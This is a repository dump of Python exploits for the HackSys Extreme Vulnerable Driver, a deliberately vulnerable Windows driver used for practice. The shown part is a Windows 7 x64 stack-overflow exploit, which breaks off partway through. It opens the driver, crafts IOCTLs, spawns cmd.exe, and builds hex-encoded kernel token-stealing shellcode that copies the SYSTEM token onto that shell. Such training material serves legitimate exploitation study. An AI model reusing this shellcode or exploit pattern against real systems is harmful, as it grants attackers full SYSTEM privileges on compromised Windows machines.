├── README.md ├── Win7x64 └── HEVD-stack-overflow.py └── Win8.1x64 ├── HEVD-stack-overflow.py └── HEVD-arbitrary-write.py /README.md: -------------------------------------------------------------------------------- 1 | # HEVD-Exploits 2 | -------------------------------------------------------------------------------- /Win7x64/HEVD-stack-overflow.py: -------------------------------------------------------------------------------- 1 | # HackSys Extreme Vulnerable Driver 2 | # Stack buffer overflow exploit 3 | # Target: Windows 7 SP1 64-bit 4 | # Author: Brian Beaudry 5 | 6 | from ctypes import * 7 | from ctypes.wintypes import * 8 | import sys, struct, time 9 | 10 | # Define bitmasks 11 | CREATE_NEW_CONSOLE = 0x00000010 12 | GENERIC_READ = 0x80000000 13 | GENERIC_WRITE = 0x40000000 14 | OPEN_EXISTING = 0x00000003 15 | FILE_ATTRIBUTE_NORMAL = 0x00000080 16 | FILE_DEVICE_UNKNOWN = 0x00000022 17 | FILE_ANY_ACCESS = 0x00000000 18 | METHOD_NEITHER = 0x00000003 19 | MEM_COMMIT = 0x00001000 20 | MEM_RESERVE = 0x00002000 21 | PAGE_EXECUTE_READWRITE = 0x00000040 22 | 23 | HANDLE = c_void_p 24 | LPTSTR = c_void_p 25 | LPBYTE = c_char_p 26 | 27 | # Define WinAPI shorthand 28 | CreateProcess = windll.kernel32.CreateProcessW # <-- Unicode version! 29 | VirtualAlloc = windll.kernel32.VirtualAlloc 30 | CreateFile = windll.kernel32.CreateFileW # <-- Unicode version! 31 | DeviceIoControl = windll.kernel32.DeviceIoControl 32 | 33 | class STARTUPINFO(Structure): 34 | """STARTUPINFO struct for CreateProcess API""" 35 | 36 | _fields_ = [("cb", DWORD), 37 | ("lpReserved", LPTSTR), 38 | ("lpDesktop", LPTSTR), 39 | ("lpTitle", LPTSTR), 40 | ("dwX", DWORD), 41 | ("dwY", DWORD), 42 | ("dwXSize", DWORD), 43 | ("dwYSize", DWORD), 44 | ("dwXCountChars", DWORD), 45 | ("dwYCountChars", DWORD), 46 | ("dwFillAttribute", DWORD), 47 | ("dwFlags", DWORD), 48 | ("wShowWindow", WORD), 49 | ("cbReserved2", WORD), 50 | ("lpReserved2", LPBYTE), 51 | ("hStdInput", HANDLE), 52 | ("hStdOutput", HANDLE), 53 | ("hStdError", HANDLE)] 54 | 55 | class PROCESS_INFORMATION(Structure): 56 | """PROCESS_INFORMATION struct for CreateProcess API""" 57 | 58 | _fields_ = [("hProcess", HANDLE), 59 | ("hThread", HANDLE), 60 | ("dwProcessId", DWORD), 61 | ("dwThreadId", DWORD)] 62 | 63 | def procreate(): 64 | """Spawn shell and return PID""" 65 | 66 | print "[*]Spawning shell..." 67 | lpApplicationName = u"c:\\windows\\system32\\cmd.exe" # Unicode 68 | lpCommandLine = u"c:\\windows\\system32\\cmd.exe" # Unicode 69 | lpProcessAttributes = None 70 | lpThreadAttributes = None 71 | bInheritHandles = 0 72 | dwCreationFlags = CREATE_NEW_CONSOLE 73 | lpEnvironment = None 74 | lpCurrentDirectory = None 75 | lpStartupInfo = STARTUPINFO() 76 | lpStartupInfo.cb = sizeof(lpStartupInfo) 77 | lpProcessInformation = PROCESS_INFORMATION() 78 | 79 | ret = CreateProcess(lpApplicationName, # _In_opt_ LPCTSTR 80 | lpCommandLine, # _Inout_opt_ LPTSTR 81 | lpProcessAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES 82 | lpThreadAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES 83 | bInheritHandles, # _In_ BOOL 84 | dwCreationFlags, # _In_ DWORD 85 | lpEnvironment, # _In_opt_ LPVOID 86 | lpCurrentDirectory, # _In_opt_ LPCTSTR 87 | byref(lpStartupInfo), # _In_ LPSTARTUPINFO 88 | byref(lpProcessInformation)) # _Out_ LPPROCESS_INFORMATION 89 | if not ret: 90 | sys.exit("[-]Error spawning shell: " + FormatError()) 91 | 92 | time.sleep(1) # Make sure cmd.exe spawns fully before shellcode executes 93 | 94 | print "[+]Spawned with PID: %d" % lpProcessInformation.dwProcessId 95 | return lpProcessInformation.dwProcessId 96 | 97 | def gethandle(): 98 | """Open handle to driver and return it""" 99 | 100 | print "[*]Getting device handle..." 101 | lpFileName = u"\\\\.\\HackSysExtremeVulnerableDriver" # Unicode 102 | dwDesiredAccess = (GENERIC_READ | GENERIC_WRITE) 103 | dwShareMode = 0 104 | lpSecurityAttributes = None 105 | dwCreationDisposition = OPEN_EXISTING 106 | dwFlagsAndAttributes = FILE_ATTRIBUTE_NORMAL 107 | hTemplateFile = None 108 | 109 | handle = CreateFile(lpFileName, # _In_ LPCTSTR 110 | dwDesiredAccess, # _In_ DWORD 111 | dwShareMode, # _In_ DWORD 112 | lpSecurityAttributes, # _In_opt_ LPSECURITY_ATTRIBUTES 113 | dwCreationDisposition, # _In_ DWORD 114 | dwFlagsAndAttributes, # _In_ DWORD 115 | hTemplateFile) # _In_opt_ HANDLE 116 | if not handle or handle == -1: 117 | sys.exit("[-]Error getting device handle: " + FormatError()) 118 | 119 | print "[+]Got device handle: 0x%x" % handle 120 | return handle 121 | 122 | def ctl_code(function, 123 | devicetype = FILE_DEVICE_UNKNOWN, 124 | access = FILE_ANY_ACCESS, 125 | method = METHOD_NEITHER): 126 | """Recreate CTL_CODE macro to generate driver IOCTL""" 127 | return ((devicetype << 16) | (access << 14) | (function << 2) | method) 128 | 129 | def shellcode(pid): 130 | """Craft our shellcode and stick it in a buffer""" 131 | 132 | tokenstealing = ( 133 | # 134 | # Token stealing shellcode based on 135 | # http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation 136 | # Extended to swap tokens on remote process (cmd.exe) and then 137 | # return back to a parent function. 138 | # 139 | ####DEBUG#### 140 | #"\xcc" 141 | ####DEBUG#### 142 | "\x65\x48\x8B\x14\x25\x88\x01\x00\x00" # mov rdx, [gs:188h] ;get _ETHREAD pointer from KPCR 143 | "\x4C\x8B\x42\x70" # mov r8, [rdx+70h] ;_EPROCESS (see PsGetCurrentProcess function) 144 | "\x4D\x8B\x88\x88\x01\x00\x00" # mov r9, [r8+188h] ;ActiveProcessLinks list head 145 | "\x49\x8B\x09" # mov rcx, [r9] ;follow link to first process in list 146 | #find_system_proc: 147 | "\x48\x8B\x51\xF8" # mov rdx, [rcx-8] ;offset from ActiveProcessLinks to UniqueProcessId 148 | "\x48\x83\xFA\x04" # cmp rdx, 4 ;process with ID 4 is System process 149 | "\x74\x05" # jz found_system ;found SYSTEM token 150 | "\x48\x8B\x09" # mov rcx, [rcx] ;follow _LIST_ENTRY Flink pointer 151 | "\xEB\xF1" # jmp find_system_proc ;loop 152 | #found_system: 153 | "\x48\x8B\x81\x80\x00\x00\x00" # mov rax, [rcx+80h] ;offset from ActiveProcessLinks to Token 154 | "\x24\xF0" # and al, 0f0h ;clear low 4 bits of _EX_FAST_REF structure 155 | "\x49\x8B\x09" # mov rcx, [r9] ;continue down the list 156 | #find_cmd_proc: 157 | "\x48\x8B\x51\xF8" # mov rdx, [rcx-8] ;offset to PID 158 | "\x48\x81\xFA" + struct.pack("